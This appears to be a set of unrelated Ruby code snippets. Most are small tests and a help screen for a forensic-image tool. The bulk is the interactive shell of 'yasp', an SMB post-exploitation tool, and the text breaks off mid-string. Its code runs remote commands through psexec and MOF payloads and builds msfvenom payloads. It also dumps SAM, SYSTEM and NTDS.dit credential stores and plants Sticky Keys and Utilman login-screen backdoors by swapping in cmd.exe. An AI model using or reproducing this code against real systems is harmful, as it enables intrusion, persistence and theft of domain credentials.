"def test_user_025\n @vc.parse(\": test (sp0) @ -1 (sp0) ! ;\")\n @vc.compile\n @vc.init_user\n here = @vc.vm.dot\n src = @vc.fetch_user('tib')\n sct = @vc.fetch_user('(scratch)')\n @vc.run\n user = @vc.vm.u\n assert_equal(:halt, @vc.vm.state)\n assert_equal(1, @vc.vm.depth)\n assert_equal(0, @vc.vm.tos)\n assert_equal(NUMU, @vc.vm.fetch(user + @vc.cells(0)))\n assert_equal( src, @vc.vm.fetch(user + @vc.cells(1)))\n assert_equal( sct, @vc.vm.fetch(user + @vc.cells(2)))\n assert_equal( src, @vc.vm.fetch(user + @vc.cells(3)))\n assert_equal( src, @vc.vm.fetch(user + @vc.cells(4)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(5)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(6)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(7)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(8)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(9)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(10)))\n assert_equal( 10, @vc.vm.fetch(user + @vc.cells(11)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(12)))\n assert_equal(here, @vc.vm.fetch(user + @vc.cells(13)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(14)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(15)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(16)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(17)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(18)))\n assert_equal( @m1, @vc.vm.fetch(user + @vc.cells(19)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(20)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(21)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(22)))\n assert_equal( src, @vc.vm.fetch(user + @vc.cells(23)))\n assert_equal( sct, @vc.vm.fetch(user + @vc.cells(24)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(25)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(26)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(27)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(28)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(29)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(30)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(31)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(32)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(33)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(34)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(35)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(36)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(37)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(38)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(39)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(40)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(41)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(42)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(43)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(44)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(45)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(46)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(47)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(48)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(49)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(50)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(51)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(52)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(53)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(54)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(55)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(56)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(57)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(58)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(59)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(60)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(61)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(62)))\n assert_equal( 0, @vc.vm.fetch(user + @vc.cells(63)))\n end",
"def shell_commands(cmd, *args); end",
"def test_basic\n testbase = 'help'\n op = StringIO.new('', 'w')\n Dir.chdir(SRC_DIR) do \n script = File.join('data', \"#{testbase}.cmd\")\n Debugger.const_set('Version', 'unit testing')\n Debugger.run_script(script, op)\n got_lines = op.string.split(\"\\n\")\n right_file = File.join('data', \"#{testbase}.right\")\n correct_lines = File.readlines(right_file)\n result = cheap_diff(got_lines, correct_lines)\n unless result\n puts '-' * 80\n puts got_lines \n puts '-' * 80\n end\n assert result \n end\n end",
"def command_raw(args)\n\n end",
"def test_print_usage\n assert_output(\"Usage:\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns*\n*seed* should be an integer\n*num_prospectors* should be a non-negative integer\n*num_turns* should be a non-negative integer\\n\") { print_usage }\n end",
"def test_parse04c\n options = ArgumentManager.parse( [ '--u-opt', 'foo' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end",
"def command_help\n @colour.help '--- Welcome to ForGen, the home of custom image creation ---'\n @colour.help 'ForGen command line structure'\n @colour.help 'ruby forgen.rb command [options]'\n @colour.help ''\n\n @colour.help '[command: main]'\n @colour.help \"r, run\\t\\t\\t\\t Run all aspects of ForGen\"\n @colour.help \"make-configuration\\t\\t Make configuration files for a new project\"\n @colour.help \"make-vagrant-basebox\\t\\t Make a vagrant basebox\"\n @colour.help \"make-virtual-machine\\t\\t Make a virtual machine\"\n @colour.help \"make-forensic-image\\t\\t Make a forensic image\"\n @colour.help ''\n\n @colour.help '[command: information]'\n @colour.help \"-h, --help\\t\\t\\t Display this help screen\"\n @colour.help \"--version\\t\\t\\t Displays the current ForGen version\"\n @colour.help \"--list-cases\\t\\t\\t List all case files currently in ForGen\"\n @colour.help \"--list-modules <type>\\t\\t List <type> modules that are in ForGen\"\n @colour.help ''\n\n @colour.help '[command: projects]'\n @colour.help \"--delete-all-projects\\t\\t Deletes ALL projects in the projects directory\"\n @colour.help ''\n\n @colour.help '[options: stdout]'\n @colour.help \"--disable-colours\\t\\t Disable all std output colour formatting\"\n @colour.help ''\n\n @colour.help '[options: cases]'\n @colour.help \"--case-path\\t\\t\\t The path to the case file to use\"\n @colour.help ''\n\n @colour.help '[options: forensic images]'\n @colour.help \"--forensic-image-output-dir\\t Output image output directory\"\n @colour.help \"--create-raw-image\\t\\t Create a RAW image of all VM drives\"\n @colour.help \"--create-ewf-image\\t\\t Create an EWF image of all VM drives\"\n @colour.help \"--delete-vm-after-image-creation\\b\\t Delete the VM after image generation\"\n @colour.help ''\n\n @colour.help '[options: modules]'\n @colour.help \"--basebox-url\\t\\t\\t URL to the basebox (overwrites basebox modules)\"\n @colour.help ''\n\n @colour.help '[options: vm]'\n @colour.help \"--no-vm-shutdown\\t\\t Stops vm shutdown (will stop forensic image generation)\"\n @colour.help \"--gui-output\\t\\t\\t Instructs ForGen to create vms in background\"\n @colour.help \"--max-processor-cap\\t\\t Sets processor execution cap\"\n @colour.help \"--max-memory-usage\\t\\t Sets max vm memory [RAM]\"\n @colour.help \"--number-of-processors\\t\\t Sets number of vm processing cores\"\n @colour.help ''\n\n @colour.help '[options: debug]'\n @colour.help \"--verbose\\t\\t\\t Run all ForGen elements in verbose mode\"\n @colour.help \"--debug\\t\\t\\t\\t Run all ForGen elements in debug mode\"\n @colour.help ''\n\nend",
"def core_shell\n prompt = \"(yasp)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^clear|^cls|^banner/i\n cls\n banner\n core_shell\n when /^help|^ls$/i\n show_usage\n core_shell\n when /^exit|^quit/i\n puts\n puts \"OK, exiting yasp session\".light_red + \"....\".white\n puts\n exit 69;\n when /^config|^credentials/i\n puts\n cred_config\n credentials = credz\n if @working\n puts \"Target\".light_green + \": #{credentials[0]}:#{credentials[1]}\".white\n puts \"Hostname\".light_green + \": #{credentials[6]}\".white\n puts \"Domain\".light_green + \": #{credentials[4]}\".white unless credentials[4].nil?\n puts \"User\".light_green + \": #{credentials[2]}\".white\n puts \"Pass\".light_green + \": #{credentials[3]}\".white\n puts \"Pass is Hash\".light_green + \": #{credentials[5].to_s.capitalize}\"\n end\n puts\n core_shell\n when /^os.scan|^version.scan|^discovery.scan/i\n puts\n smb_os_discovery\n puts\n core_shell\n when /^os.exec/i\n puts\n if @working\n line = Readline.readline(\"(Command to Run)> \", true)\n cmd = line.chomp\n puts \"Attempting to run command\".light_blue + \": #{cmd}\".white\n smb_psexec(cmd)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^os.pshexec$|^powershell$|^psh.payload$|^psh.exec$/i\n puts\n if @working\n if File.exists?(\"#{MSFPATH}msfvenom\")\n power_shell_hell\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Can't find MSFVENOM to build payloads!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check or provide MSF Path in source to correct and enable this option......\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^os.shell/i\n puts\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n puts puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Dropping to pseudo shell.....\".white\n cls\n banner\n prompt = \"(PSEXEC Shell)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n case cmd\n when /^exit$|^quit$|^back$/i\n puts\n puts \"OK, Returning to Main Menu\".light_red + \"....\".white\n break\n else\n begin\n cmdexec = \"%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec, false)\n get_output(text, true)\n files = [ text.gsub('\\\\', '\\\\\\\\'), bat.gsub('\\\\', '\\\\\\\\') ]\n cleanup_after(files, false)\n rescue Errno::ENOENT => e\n puts \"#{e}\".light_red\n rescue => e\n puts \"#{e}\".light_red\n end\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^up.exec/i\n puts\n if @working\n while(true)\n line = Readline.readline(\"(Local File to Upload)> \", true)\n lfile = line.chomp\n if File.exists?(lfile)\n break\n else\n puts\n puts \"Can't find file\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n puts\n end\n end\n ldir = lfile.split('/')[0..-2].join('/') + '/'\n fname = lfile.split('/')[-1]\n line = Readline.readline(\"(Remote Path to Upload to)> \", true)\n rdir = line.chomp.sub('C:', '').sub('c:', '')\n\n # Smbclient looks for file uploads in current dir so we temporarily change\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname, rdir)\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \"#{lfile} has been uploaded to #{rdir}#{fname}\"\n else\n puts\n puts \"Returning to main menu due to error with upload\".light_red + \"....\".white\n puts\n core_shell\n end\n end\n puts \"Attempting to run service payload now\".light_blue + \".....\".white\n smb_psexec(rdir + fname)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^get.hives$|^key.hives$|^registry.download$|^dl.reg$/i\n puts\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"We will first need to backup registry to location on remote target\".light_yellow + \".....\".white\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use for Backups)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n make_reg_backups(tmp)\n sleep(5) # Dramatic pause and to avoid issues running to quickly (had some minor issues which this pause seemed to resolve)\n download_hives([tmp.gsub('\\\\', '\\\\\\\\') +\"\\\\\\\\sys\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sec\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sam\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sw\" ])\n cleanup_after([tmp.gsub('\\\\', '\\\\\\\\') +\"\\\\\\\\sys\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sec\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sam\", tmp.gsub('\\\\', '\\\\\\\\') + \"\\\\\\\\sw\"])\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^get.ntds$|^dl.ntds$|^ntds.download$/i\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use for Backups)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n line = Readline.readline(\"(Drive Letter Containing NTDS)> \", true)\n drive = line[0]\n id, path = vsc_create(drive)\n if not id.nil? and not path.nil?\n begin\n cmd1 = \"%COMSPEC% /C copy /Y \\\"#{path}\\\\WINDOWS\\\\NTDS\\\\NTDS.dit\\\" #{@tmp}\\\\NTDS.dit\"\n cmd2 = \"%COMSPEC% /C copy /Y \\\"#{path}\\\\WINDOWS\\\\System32\\\\config\\\\SYSTEM\\\" #{@tmp}\\\\SYSTEM\"\n smb_psexec(cmd1, false)\n sleep(3)\n smb_psexec(cmd2, false)\n sleep(3)\n hives=[ \"#{@tmp}\\\\NTDS.dit\", \"#{@tmp}\\\\SYSTEM\" ]\n download_hives(hives)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Removing created Volume Shadow Copy....\".white\n cmd = \"%COMSPEC% /C vssadmin delete shadows /Shadow=#{id}\"\n smb_psexec(cmd1, false)\n sleep(3)\n cleanup_after(hives, false)\n puts\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Error copying Volume Shadow Copy to Temp location!\".white if verbose\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^list.shadows$/i\n if @working\n vsc = check_vsc_existance\n if vsc.nil?\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" No Existing Volume Shadow Copies Found....\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^mof.exec/i\n puts\n if @working\n line = Readline.readline(\"(Command to Run)> \", true)\n cmd = line.chomp\n puts \"Attempting to run command\".light_blue + \": #{cmd}\".white\n mof = generate_cmd_mof(cmd)\n rdir = \"C:\\\\windows\\\\system32\\\\wbem\\\\mof\"\n fname=HOME + '/payloads/' + randz(10) + '.mof'\n lfile = File.open(fname, 'w+')\n ldir=fname.split('/')[0..-2].join('/')\n lfile.write(mof)\n lfile.close\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname.split('/')[-1], 'windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\mof')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{fname.split('/')[-1]}\".white\n end\n end\n File.delete(fname) if File.exists?(fname) and not File.directory?(fname)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^mof.up/i\n puts\n if @working\n while(true)\n line = Readline.readline(\"(Local EXE File to Upload)> \", true)\n lfile = line.chomp\n if File.exists?(lfile)\n break\n else\n puts\n puts \"Can't find file\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n puts\n end\n end\n ldir = lfile.split('/')[0..-2].join('/') + '/'\n fname = lfile.split('/')[-1]\n rdir = \"C:\\\\windows\\\\system32\"\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname, 'windows\\\\\\\\system32')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \"#{lfile} has been uploaded to #{rdir}\\\\#{fname}\"\n else\n puts\n puts \"Returning to main menu due to error with upload\".light_red + \"....\".white\n puts\n core_shell\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Uploading MOF Paylod now to trigger running of #{lfile}\".white\n rdir = \"C:\\\\windows\\\\system32\\\\wbem\\\\mof\"\n mof_name = randz(10) + \".mof\"\n mof = generate_exe_mof(mof_name, fname)\n mof_payload = HOME + '/payloads/' + mof_name\n f=File.open(mof_payload, 'w+')\n f.puts mof\n f.close\n ldir=mof_payload.split('/')[0..-2].join('/')\n Dir.chdir(ldir) do \n if @smbclient.smb_upload(mof_name, 'windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\mof')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{mof_name}\".white\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Your payload should be triggered soon...........\".white\n end\n end\n File.delete(mof_payload) if File.exists?(mof_payload) and not File.directory?(mof_payload)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^smbclient$|^smbshell$|^smb.shell$/i\n puts\n if @working\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Dropping to interactive smbclient SMB Shell....\"\n @smbclient.smb_shell\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^ls (.+)/i\n rdir=$1.chomp\n if @working\n output = @smbclient.smb_cmd('ls', rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n if output.nil?\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Unable to Fetch Directory Listing for: #{rdir}\".white\n else\n puts output[1..-1].join.to_s.cyan\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^dl (.+)/i\n rfile=$1.strip.chomp\n if @working\n if rfile =~ /\\\\/\n lfile = rfile.split('\\\\')[-1]\n else\n lfile = rfile.split('/')[-1]\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to Download: #{rfile}\".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n Dir.chdir(RESULTS + @target + '/') do \n if @smbclient.smb_download(rfile.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'), lfile)\n if File.exists?(lfile)\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Successfully downloaded #{rfile} to #{RESULTS + @target}/#{lfile}\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" File should have been downloaded, I dont know what happened......?\".white\n end\n end\n end\n puts\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^up (.+) (.+)/i\n lfile=$1\n rdir=$2.strip.chomp\n if @working\n ldir=lfile.split('/')[0..-2].join('/')\n Dir.chdir(ldir) do \n if @smbclient.smb_upload(lfile.split('/')[-1], rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{lfile.split('/')[-1]}\".white\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^cat (.+)/i\n lfile=$1.strip.chomp\n puts\n if File.exists?(lfile) and not File.directory?(lfile)\n data = File.open(lfile).read\n puts data.to_s.cyan\n else\n puts \"Can't Display #{lfile}\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n end\n puts\n puts\n core_shell\n when /^mkdir (.+) (.+)/i\n dir_name=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_mkdir(dir_name, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{dir_name}\\\\\\\\ has been Created!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to create remote directory!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rmdir (.+) (.+)/i\n dir_name=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_rmdir(dir_name, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{dir_name}\\\\\\\\ has been Deleted!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to delete remote directory!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rm (.+) (.+)/i\n fname=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_rm(fname, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{fname} has been Deleted!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to delete remote file!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^list$|^list.shares$/i\n if @working\n output = @smbclient.list_shares_credentialed\n if not output.nil? and output != ''\n count=0\n output.each do |line|\n if line =~ /Server\\s+Comment/\n puts\n puts line.chomp.cyan\n else\n if count.to_i == 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Available Shares: \".white\n count = count.to_i + 1\n else\n puts line.chomp.to_s.cyan\n end\n end\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^use (.+)/i\n share=$1.strip.chomp\n if @working\n puts \"[\".light_yellow + \"*\".white + \"]\".light_yellow + \" Changing Connected Share to: #{share}\".white\n @smbclient = RubySmbClient.new(@target,@port.to_i, share, @user,@pass,@domain, @hashpass)\n @smbshare=share\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^swaparo/i\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n puts\n # This is a little something I cooked up with my friend Osanda Malith \n\t# He wrote the original batch script which I then ported to a Meterpreter script\n # Swap out and replace key binaries available via login screens\n # allows you to swap cmd.exe with SYSTEM shell to these default locations\n # Includes swap and repair for sethc.exe and utilman.exe methods\n # Requires Admin Privs since files are in System32 directory.....\n puts \"Windows Swaparoo Menu\".light_yellow\n puts\n while(true)\n puts \"Select Today's Usage\".light_yellow + \": \".white\n puts \"1) \".white + \"Backdoor Sticky Keys Prompt (sethc.exe)\".light_yellow\n puts \"2) \".white + \"Repair Sticky Keys Prompt (sethc.exe)\".light_yellow\n puts \"3) \".white + \"Bacldoor Utilman assistant (utilman.exe)\".light_yellow\n puts \"4) \".white + \"Repair Utilman assistant (utilman.exe)\".light_yellow\n puts\n line = Readline.readline(\"(Usage Selection)> \", true)\n answer = line.chomp\n if answer.to_i > 0 and answer.to_i <= 4\n if answer.to_i == 1\n # Sethc.exe swap out, enable shell via sticky keys prompt at login :)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo for the Sticky Keys backdoor (sethc.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe /grant administrators:f\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe sethc.exe.bak\", \n \"copy %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd.exe %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe sethc.exe\" ]\n elsif answer.to_i == 2\n # Repair the sethc.exe swap out back to normal\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo Clean-Up for the Sticky Keys backdoor (sethc.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe /grant administrators:f\",\n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak /grant Administrators:f\",\n \"del %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak sethc.exe\" ]\n elsif answer.to_i == 3\n # Utilman.exe swap out, enable shell via login assistance features at login screen :)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo for the Utilman backdoor (utilman.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe /grant administrators:f\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe Utilman.exe.bak\", \n \"copy %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd.exe %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe Utilman.exe\" ]\n elsif answer.to_i == 4\n # Repair the utilman.exe swap out back to normal\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo Clean-Up for the Utilman backdoor (utilman.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe /grant administrators:f\",\n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\utilman.exe.bak\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\utilman.exe.bak /grant Administrators:f\", \n \"del %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\",\n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe.bak Utilman.exe\" ]\n end\n files=[]\n retries=0\n commands.each do |cmd|\n begin\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Executing: #{cmd}\".white\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n cmdexec = \"%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec, false)\n# get_output(text, false) # Not needed, but you can uncomment if you need to troubleshoot problems....\n files << text\n files << bat\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Error running command!\".white\n if retries.to_i <= 3\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Going to retry things again....\".white\n retries = retries.to_i + 1\n retry\n else\n puts \"[\".light_blue + 